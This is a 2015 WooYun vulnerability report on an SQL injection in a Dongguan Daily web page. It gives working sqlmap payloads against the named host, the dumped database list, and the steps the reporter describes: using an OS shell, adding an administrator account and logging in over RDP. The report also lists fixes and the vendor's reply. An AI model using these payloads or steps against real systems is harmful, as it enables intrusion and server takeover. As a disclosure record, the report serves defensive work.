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缺陷编号:wooyun-2015-0106345

漏洞标题:东莞日报某站SA注入可杀入服务器

相关厂商:东莞日报

漏洞作者: Taro

提交时间:2015-04-09 15:23

修复时间:2015-05-25 10:42

公开时间:2015-05-25 10:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-04-09: 细节已通知厂商并且等待厂商处理中
2015-04-10: 厂商已经确认,细节仅向厂商公开
2015-04-20: 细节向核心白帽子及相关领域专家公开
2015-04-30: 细节向普通白帽子公开
2015-05-10: 细节向实习白帽子公开
2015-05-25: 细节向公众公开

简要描述:

rt...

详细说明:

POST注入:
http://www.dgrb.cn/searchprocess.aspx --data="pst=1"

2E031829F19E4B4CBDF1AA54AF2BC663.png


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: pst
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: pst=1' AND 7029=CONVERT(INT,(SELECT CHAR(113)+CHAR(101)+CHAR(121)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (7029=7029) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(114)+CHAR(104)+CHAR(99)+CHAR(113))) AND 'FeeJ'='FeeJ
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: pst=1' UNION ALL SELECT CHAR(113)+CHAR(101)+CHAR(121)+CHAR(107)+CHAR(113)+CHAR(117)+CHAR(89)+CHAR(107)+CHAR(108)+CHAR(85)+CHAR(105)+CHAR(110)+CHAR(79)+CHAR(72)+CHAR(85)+CHAR(113)+CHAR(114)+CHAR(104)+CHAR(99)+CHAR(113)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: pst=1'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: pst=1' WAITFOR DELAY '0:0:5'--
---
[10:00:25] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[10:00:25] [INFO] testing if current user is DBA
current user is DBA: True
[10:00:26] [INFO] fetching database names
[10:00:26] [INFO] the SQL query used returns 14 entries
[10:00:26] [INFO] retrieved: "adbooking"
[10:00:26] [INFO] retrieved: "adbooking"
[10:00:27] [INFO] retrieved: "DgMedia"
[10:00:27] [INFO] retrieved: "ggBooking"
[10:00:27] [INFO] retrieved: "infomation"
[10:00:27] [INFO] retrieved: "master"
[10:00:27] [INFO] retrieved: "model"
[10:00:28] [INFO] retrieved: "msdb"
[10:00:28] [INFO] retrieved: "ReportServer"
[10:00:28] [INFO] retrieved: "ReportServerTempDB"
[10:00:28] [INFO] retrieved: "tempdb"
[10:00:28] [INFO] retrieved: "tst"
[10:00:29] [INFO] retrieved: "ums"
[10:00:29] [INFO] retrieved: "weight"
available databases [13]:
[*] adbooking
[*] DgMedia
[*] ggBooking
[*] infomation
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] tst
[*] ums
[*] weight


因为拥有DBA的权限,由上图报错知道网站的绝对路径,那么我想写入一个shell不是啥问题
利用sqlmap的--os-shell查看服务器信息

AA791E232C724E0885C43327D45D2E69.png


这个账号我不知道该不该存在

72BA0BE45F42458BA764A5E85F547ADF.png


F7361E52321F4817A3F9CDE9061076E6.png


再把123添加到administrator组,连接3389登陆不是问题(3389端口开启这哦!)

漏洞证明:

2E031829F19E4B4CBDF1AA54AF2BC663.png

修复方案:

1.参数过滤
2.低权限运行数据库
3.关闭不必要的端口

版权声明:转载请注明来源 Taro@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-04-10 10:40

厂商回复:

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据:高
攻击成本:低
造成影响:高
综合评级为:高,rank:12
正在联系相关网站管理单位处置。

最新状态:

暂无


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